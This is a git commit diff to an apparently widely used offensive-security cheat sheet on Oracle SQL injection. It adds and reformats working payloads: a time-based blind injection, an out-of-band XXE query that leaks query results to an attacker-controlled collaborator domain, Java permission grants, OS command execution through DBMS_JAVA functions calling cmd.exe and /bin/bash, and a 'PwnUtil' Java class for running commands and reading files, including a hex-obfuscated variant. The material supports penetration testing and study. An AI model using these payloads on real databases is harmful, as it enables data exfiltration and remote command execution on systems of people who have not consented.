SQL Injections - Updates for MSSQL, Oracle, PostgreSQL

This commit is contained in:
Swissky
2024-11-15 23:56:04 +01:00
parent f57d0813ca
commit 67af38aa4e
6 changed files with 256 additions and 248 deletions

View File

@@ -11,13 +11,16 @@
* [Oracle SQL Hostname](#oracle-sql-hostname)
* [Oracle SQL Database Name](#oracle-sql-database-name)
* [Oracle SQL Database Credentials](#oracle-sql-database-credentials)
* [Oracle SQL List databases](#oracle-sql-list-databases)
* [Oracle SQL List columns](#oracle-sql-list-columns)
* [Oracle SQL List tables](#oracle-sql-list-tables)
* [Oracle SQL List Databases](#oracle-sql-list-databases)
* [Oracle SQL List Columns](#oracle-sql-list-columns)
* [Oracle SQL List Tables](#oracle-sql-list-tables)
* [Oracle SQL Error Based](#oracle-sql-error-based)
* [Oracle SQL Blind](#oracle-sql-blind)
* [Oracle SQL Time Based](#oracle-sql-time-based)
* [Oracle SQL Command execution](#oracle-sql-command-execution)
* [Oracle SQL Out of Band](#oracle-sql-out-of-band)
* [Oracle SQL Command Execution](#oracle-sql-command-execution)
* [Oracle Java Execution](#oracle-java-execution)
* [Oracle Java Class](#oracle-java-class)
* [References](#references)
@@ -99,7 +102,7 @@ SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
```
## Oracle SQL Error based
## Oracle SQL Error Based
| Description | Query |
| :-------------------- | :------------- |
@@ -126,70 +129,80 @@ When the injection point is inside a string use : `'||PAYLOAD--`
| First letter of first message is t | `SELECT message FROM log_table WHERE rownum=1 AND message LIKE 't%';` |
## Oracle SQL Time based
## Oracle SQL Time Based
```sql
AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
```
## Oracle SQL Out of Band
```sql
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
```
## Oracle SQL Command Execution
* [ODAT (Oracle Database Attacking Tool)](https://github.com/quentinhardy/odat)
* [quentinhardy/odat](https://github.com/quentinhardy/odat) - ODAT (Oracle Database Attacking Tool)
### Oracle Java Execution
* List Java privileges
```sql
select * from dba_java_policy
select * from user_java_policy
```
* Grant privileges
```sql
exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
```
* Execute commands
* 10g R2, 11g R1 and R2: `DBMS_JAVA_TEST.FUNCALL()`
```sql
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c', 'dir >c:\test.txt') FROM DUAL
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual
```
```sql
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c', 'dir >c:\test.txt') FROM DUAL
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual
```
* 11g R1 and R2: `DBMS_JAVA.RUNJAVA()`
```sql
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL
```
```sql
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL
```
### Oracle Java Class
```sql
/* create Java class */
BEGIN
EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
END;
/
* Create Java class
BEGIN
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
END;
/
```sql
BEGIN
EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
END;
/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
```
BEGIN
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
END;
or (hex encoded)
-- hex encoded payload
SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d''));
EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual
```
```sql
/* create Java class */
SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d''));
EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual
* Run OS command
```sql
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
```
/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
```
## References